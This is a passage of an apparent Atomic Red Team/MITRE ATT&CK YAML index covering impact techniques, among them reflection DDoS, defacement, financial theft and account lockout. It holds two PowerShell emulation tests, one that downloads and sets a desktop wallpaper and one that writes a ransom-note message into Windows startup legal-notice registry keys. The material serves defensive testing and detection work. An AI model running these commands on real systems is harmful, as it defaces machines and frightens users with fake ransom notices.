          - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Runtime Data Manipulation
      description: |-
        Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

        Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: Inspect important application binary file hashes, locations,
        and modifications for suspicious/unexpected values.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'File: File Deletion'
      - 'Process: OS API Execution'
      - 'File: File Metadata'
      - 'File: File Creation'
      x_mitre_impact_type:
      - Integrity
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1498.002:
    technique:
      modified: '2023-03-30T21:01:41.052Z'
      name: Reflection Amplification
      description: |-
        Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

        Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: 'Detection of reflection amplification can sometimes be achieved
        before the traffic volume is sufficient to cause impact to the availability
        of the service, but such response time typically requires very aggressive
        monitoring and responsiveness or services provided by an upstream network
        service provider. Typical network throughput monitoring tools such as netflow(Citation:
        Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden
        increases in network or service utilization. Real-time, automated, and qualitative
        study of the network traffic can identify a sudden surge in one type of protocol
        can be used to detect a reflection amplification DoS event as it starts. Often,
        the lead time may be small and the indicator of an event availability of the
        network or service drops. The analysis tools mentioned can then be used to
        determine the type of DoS causing the outage and help with remediation.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01
      created: '2020-03-02T20:08:03.691Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1498/002
        external_id: T1498.002
      - source_name: Cloudflare ReflectionDoS May 2017
        description: Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection
          (attacks). Retrieved April 23, 2019.
        url: https://blog.cloudflare.com/reflections-on-reflections/
      - source_name: Cloudflare DNSamplficationDoS
        description: Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved
          April 23, 2019.
        url: https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/
      - source_name: Cloudflare NTPamplifciationDoS
        description: Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved
          April 23, 2019.
        url: https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/
      - source_name: Arbor AnnualDoSreport Jan 2018
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
      - source_name: Cloudflare Memcrashed Feb 2018
        description: Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed
          - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.
        url: https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/
      - source_name: Cisco DoSdetectNetflow
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1499.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Service Exhaustion Flood
      description: |-
        Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

        One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

        Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.

        Externally monitor the availability of services that may be targeted by an Endpoint DoS.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Sensor Health: Host Status'
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858
      created: '2020-02-20T15:31:43.613Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1499/002
        external_id: T1499.002
      - source_name: Arbor SSLDoS April 2012
        description: 'ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on
          SSL: Something Old, Something New. Retrieved April 22, 2019.'
        url: https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new
      - source_name: Cisco DoSdetectNetflow
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
      - source_name: Cloudflare HTTPflood
        description: Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved
          April 22, 2019.
        url: https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
      - source_name: Arbor AnnualDoSreport Jan 2018
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1491:
    technique:
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b
      type: attack-pattern
      created: '2019-04-08T17:51:41.390Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1491
        url: https://attack.mitre.org/techniques/T1491
      modified: '2022-05-11T14:00:00.188Z'
      name: Defacement
      description: "Adversaries may modify visual content available internally or
        externally to an enterprise network, thus affecting the integrity of the original
        content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491)
        include delivering messaging, intimidation, or claiming (possibly false) credit
        for an intrusion. Disturbing or offensive images may be used as a part of
        [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause
        user discomfort, or to pressure compliance with accompanying messages. \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_detection: "Monitor internal and external websites for unplanned content
        changes. Monitor application logs for abnormal behavior that may indicate
        attempted or successful exploitation. Use deep packet inspection to look for
        artifacts of common exploit traffic, such as SQL injection. Web Application
        Firewalls may detect improper inputs attempting exploitation.\n\n"
      x_mitre_version: '1.3'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Creation'
      - 'Application Log: Application Log Content'
      - 'File: File Modification'
      x_mitre_impact_type:
      - Integrity
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1657:
    technique:
      modified: '2024-04-11T20:22:14.359Z'
      name: Financial Theft
      description: "Adversaries may steal monetary resources from targets through
        extortion, social engineering, technical theft, or other methods aimed at
        their own financial gain at the expense of the availability of these resources
        for victims. Financial theft is the ultimate objective of several popular
        campaign types including extortion by ransomware,(Citation: FBI-ransomware)
        business email compromise (BEC) and fraud,(Citation: FBI-BEC) \"pig butchering,\"(Citation:
        wired-pig butchering) bank hacking,(Citation: DOJ-DPRK Heist) and exploiting
        cryptocurrency networks.(Citation: BBC-Ronin) \n\nAdversaries may [Compromise
        Accounts](https://attack.mitre.org/techniques/T1586) to conduct unauthorized
        transfers of funds.(Citation: Internet crime report 2022) In the case of business
        email compromise or email fraud, an adversary may utilize [Impersonation](https://attack.mitre.org/techniques/T1656)
        of a trusted entity. Once the social engineering is successful, victims can
        be deceived into sending money to financial accounts controlled by an adversary.(Citation:
        FBI-BEC) This creates the potential for multiple victims (i.e., compromised
        accounts as well as the ultimate monetary loss) in incidents involving financial
        theft.(Citation: VEC)\n\nExtortion by ransomware may occur, for example, when
        an adversary demands payment from a victim after [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)
        (Citation: NYT-Colonial) and [Exfiltration](https://attack.mitre.org/tactics/TA0010)
        of data, followed by threatening to leak sensitive data to the public unless
        payment is made to the adversary.(Citation: Mandiant-leaks) Adversaries may
        use dedicated leak sites to distribute victim data.(Citation: Crowdstrike-leaks)\n\nDue
        to the potentially immense business impact of financial theft, an adversary
        may abuse the possibility of financial theft and seeking monetary gain to
        divert attention from their true goals such as [Data Destruction](https://attack.mitre.org/techniques/T1485)
        and business disruption.(Citation: AP-NotPetya)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Blake Strom, Microsoft Threat Intelligence
      - Pawel Partyka, Microsoft Threat Intelligence
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - SaaS
      - Google Workspace
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      x_mitre_impact_type:
      - Availability
      type: attack-pattern
      id: attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3
      created: '2023-08-18T20:50:04.222Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1657
        external_id: T1657
      - source_name: VEC
        description: CloudFlare. (n.d.). What is vendor email compromise (VEC)?. Retrieved
          September 12, 2023.
        url: https://www.cloudflare.com/learning/email-security/what-is-vendor-email-compromise/#:~:text=Vendor%20email%20compromise%2C%20also%20referred,steal%20from%20that%20vendor%27s%20customers.
      - source_name: Crowdstrike-leaks
        description: 'Crowdstrike. (2020, September 24). Double Trouble: Ransomware
          with Data Leak Extortion, Part 1. Retrieved December 6, 2023.'
        url: https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
      - source_name: Mandiant-leaks
        description: DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER,
          KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks
          Leak Critical Operational Technology Information. Retrieved August 18, 2023.
        url: https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs
      - source_name: DOJ-DPRK Heist
        description: Department of Justice. (2021). 3 North Korean Military Hackers
          Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes
          Across the Globe. Retrieved August 18, 2023.
        url: https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and
      - source_name: FBI-BEC
        description: FBI. (2022). FBI 2022 Congressional Report on BEC and Real Estate
          Wire Fraud. Retrieved August 18, 2023.
        url: https://www.fbi.gov/file-repository/fy-2022-fbi-congressional-report-business-email-compromise-and-real-estate-wire-fraud-111422.pdf/view
      - source_name: FBI-ransomware
        description: FBI. (n.d.). Ransomware. Retrieved August 18, 2023.
        url: https://www.cisa.gov/sites/default/files/Ransomware_Trifold_e-version.pdf
      - source_name: AP-NotPetya
        description: FRANK BAJAK AND RAPHAEL SATTER. (2017, June 30). Companies still
          hobbled from fearsome cyberattack. Retrieved August 18, 2023.
        url: https://apnews.com/article/russia-ukraine-technology-business-europe-hacking-ce7a8aca506742ab8e8873e7f9f229c2
      - source_name: Internet crime report 2022
        description: IC3. (2022). 2022 Internet Crime Report. Retrieved August 18,
          2023.
        url: https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf
      - source_name: BBC-Ronin
        description: 'Joe Tidy. (2022, March 30). Ronin Network: What a $600m hack
          says about the state of crypto. Retrieved August 18, 2023.'
        url: https://www.bbc.com/news/technology-60933174
      - source_name: wired-pig butchering
        description: Lily Hay Newman. (n.d.). ‘Pig Butchering’ Scams Are Now a $3
          Billion Threat. Retrieved August 18, 2023.
        url: https://www.wired.com/story/pig-butchering-fbi-ic3-2022-report/
      - source_name: NYT-Colonial
        description: Nicole Perlroth. (2021, May 13). Colonial Pipeline paid 75 Bitcoin,
          or roughly $5 million, to hackers.. Retrieved August 18, 2023.
        url: https://www.nytimes.com/2021/05/13/technology/colonial-pipeline-ransom.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1491.001:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103
      created: '2020-02-20T14:31:34.778Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1491.001
        url: https://attack.mitre.org/techniques/T1491/001
      - source_name: Novetta Blockbuster Destructive Malware
        url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
      - source_name: Novetta Blockbuster
        url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
        description: 'Novetta Threat Research Group. (2016, February 24). Operation
          Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
          25, 2016.'
      x_mitre_deprecated: false
      revoked: false
      description: 'An adversary may deface systems internal to an organization in
        an attempt to intimidate or mislead users, thus discrediting the integrity
        of the systems. This may take the form of modifications to internal websites,
        or directly to user systems with the replacement of the desktop wallpaper.(Citation:
        Novetta Blockbuster) Disturbing or offensive images may be used as a part
        of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in
        order to cause user discomfort, or to pressure compliance with accompanying
        messages. Since internally defacing systems exposes an adversary''s presence,
        it often takes place after other intrusion goals have been accomplished.(Citation:
        Novetta Blockbuster Destructive Malware)'
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Defacement: Internal Defacement'
      x_mitre_detection: Monitor internal and websites for unplanned content changes.
        Monitor application logs for abnormal behavior that may indicate attempted
        or successful exploitation. Use deep packet inspection to look for artifacts
        of common exploit traffic, such as SQL injection. Web Application Firewalls
        may detect improper inputs attempting exploitation.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Content'
      - 'Application Log: Application Log Content'
      - 'File: File Modification'
      x_mitre_impact_type:
      - Integrity
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1491.001
    atomic_tests:
    - name: Replace Desktop Wallpaper
      auto_generated_guid: 30558d53-9d76-41c4-9267-a7bd5184bed3
      description: 'Downloads an image from a URL and sets it as the desktop wallpaper.

        '
      supported_platforms:
      - windows
      input_arguments:
        url_of_wallpaper:
          description: URL pointing to the image file you wish to set as wallpaper
          type: url
          default: https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png
        pointer_to_orginal_wallpaper:
          description: Full path to where a file containing the original wallpaper
            location will be saved
          type: string
          default: "$env:TEMP\\T1491.001-OrginalWallpaperLocation"
        wallpaper_location:
          description: Full path to where the downloaded wallpaper image will be saved
          type: string
          default: "$env:TEMP\\T1491.001-newWallpaper.png"
      executor:
        command: "$url = \"#{url_of_wallpaper}\"\n$imgLocation = \"#{wallpaper_location}\"\n$orgWallpaper
          = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\\Control Panel\\Desktop\\'
          -Name WallPaper).WallPaper\n$orgWallpaper | Out-File -FilePath \"#{pointer_to_orginal_wallpaper}\"\n$updateWallpapercode
          = @' \nusing System.Runtime.InteropServices; \nnamespace Win32{\n\n    public
          class Wallpaper{ \n        [DllImport(\"user32.dll\", CharSet=CharSet.Auto)]
          \n         static extern int SystemParametersInfo (int uAction , int uParam
          , string lpvParam , int fuWinIni) ; \n         \n         public static
          void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3);
          \n        }\n    }\n} \n'@\n$wc = New-Object System.Net.WebClient  \ntry{
          \ \n    $wc.DownloadFile($url, $imgLocation)\n    add-type $updateWallpapercode
          \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \ncatch [System.Net.WebException]{
          \ \n    Write-Host(\"Cannot download $url\") \n    add-type $updateWallpapercode
          \n    [Win32.Wallpaper]::SetWallpaper($imgLocation)\n} \nfinally{    \n
          \   $wc.Dispose()  \n}\n"
        cleanup_command: "$updateWallpapercode = @' \nusing System.Runtime.InteropServices;
          \nnamespace Win32{\n\n    public class Wallpaper{ \n        [DllImport(\"user32.dll\",
          CharSet=CharSet.Auto)] \n         static extern int SystemParametersInfo
          (int uAction , int uParam , string lpvParam , int fuWinIni) ; \n         \n
          \        public static void SetWallpaper(string thePath){ \n            SystemParametersInfo(20,0,thePath,3);
          \n        }\n    }\n} \n'@\nif (Test-Path -Path #{pointer_to_orginal_wallpaper}
          -PathType Leaf) {\n     $orgImg = Get-Content -Path \"#{pointer_to_orginal_wallpaper}\"\n
          \    add-type $updateWallpapercode \n     [Win32.Wallpaper]::SetWallpaper($orgImg)\n}\nRemove-Item
          \"#{pointer_to_orginal_wallpaper}\" -ErrorAction Ignore\nRemove-Item \"#{wallpaper_location}\"
          -ErrorAction Ignore\n"
        name: powershell
    - name: Configure LegalNoticeCaption and LegalNoticeText registry keys to display
        ransom message
      auto_generated_guid: ffcbfaab-c9ff-470b-928c-f086b326089b
      description: "Display ransom message to users at system start-up by configuring
        registry keys HKLM\\SOFTWARE\\Micosoft\\Windows\\CurrentVersion\\Policies\\System\\LegalNoticeCaption
        and HKLM\\SOFTWARE\\Micosoft\\Windows\\CurrentVersion\\Policies\\System\\LegalNoticeText.\n\n[SynAck
        Ransomware](https://www.trendmicro.com/vinfo/es/security/news/cybercrime-and-digital-threats/synack-ransomware-leverages-process-doppelg-nging-for-evasion-and-infection),
        \n[Grief Ransomware](https://redcanary.com/blog/grief-ransomware/), \n[Maze
        Ransomware](https://cyware.com/research-and-analysis/maze-ransomware-a-deadly-combination-of-data-theft-and-encryption-to-target-us-organizations-8f27),\n[Pysa
        Ransomware](https://www.cybereason.com/blog/research/threat-analysis-report-inside-the-destructive-pysa-ransomware),\n[Spook
        Ransomware](https://community.fortinet.com/t5/FortiEDR/Threat-Coverage-How-FortiEDR-protects-against-Spook-Ransomware/ta-p/204226),\n[DopplePaymer
        Ransomware](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/Dopplepaymer&threatId=-2147221958),\n[Reedemer
        Ransomware](https://blog.cyble.com/2022/07/20/redeemer-ransomware-back-action/),\n[Kangaroo
        Ransomware](https://www.bleepingcomputer.com/news/security/the-kangaroo-ransomware-not-only-encrypts-your-data-but-tries-to-lock-you-out-of-windows/)\n"
      supported_platforms:
      - windows
      input_arguments:
        legal_notice_caption:
          description: Title of ransom message
          type: string
          default: PYSA
        legal_notice_text:
          description: Body of ransom message
          type: string
          default: Hi Company, every byte on any types of your devices was encrypted.
            Don't try to use backups because it were encrypted too. To get all your
            data contact us:xxxx@onionmail.org
      executor:
        command: "$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
          -Name LegalNoticeCaption).LegalNoticeCaption\n$orgLegalNoticeText = (Get-ItemProperty
          HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name
          LegalNoticeText).LegalNoticeText\n$newLegalNoticeCaption = \"#{legal_notice_caption}\"\n$newLegalNoticeText
          = \"#{legal_notice_text}\"\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
          -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force\nSet-ItemProperty
          HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name
          LegalNoticeText -Value $newLegalNoticeText -Type String -Force      "
        cleanup_command: |
          Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $orgLegalNoticeCaption -Type String -Force
          Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $orgLegalNoticeText -Type String -Force
        name: powershell
        elevation_required: true
  T1565:
    technique:
      modified: '2024-02-02T17:18:39.004Z'
      name: Data Manipulation
      description: |-
        Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

        The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_deprecated: false
      x_mitre_detection: Where applicable, inspect important file hashes, locations,
        and modifications for suspicious/unexpected values. With some critical processes
        involving transmission of data, manual or out-of-band integrity checking may
        be useful for identifying manipulated data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'File: File Creation'
      - 'Network Traffic: Network Traffic Flow'
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'File: File Metadata'
      x_mitre_impact_type:
      - Integrity
      type: attack-pattern
      id: attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931
      created: '2020-03-02T14:19:22.609Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1565
        external_id: T1565
      - source_name: Sygnia Elephant Beetle Jan 2022
        description: 'Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT
          BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February
          9, 2023.'
        url: https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1531:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Account Access Removal
      description: "Adversaries may interrupt availability of system and network resources
        by inhibiting access to accounts utilized by legitimate users. Accounts may
        be deleted, locked, or manipulated (ex: changed credentials) to remove access
        to accounts. Adversaries may also subsequently log off and/or perform a [System
        Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious
        changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42
        LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039)
        utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code>
        [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be
        used by adversaries to modify user accounts. In Linux, the <code>passwd</code>
        utility may be used to change passwords. Accounts could also be disabled by
        Group Policy. \n\nAdversaries who use ransomware or similar attacks may first
        perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485)
        and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede
        incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486)
        objective. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      x_mitre_contributors:
      - Hubert Mank
      x_mitre_deprecated: false
      x_mitre_detection: |-
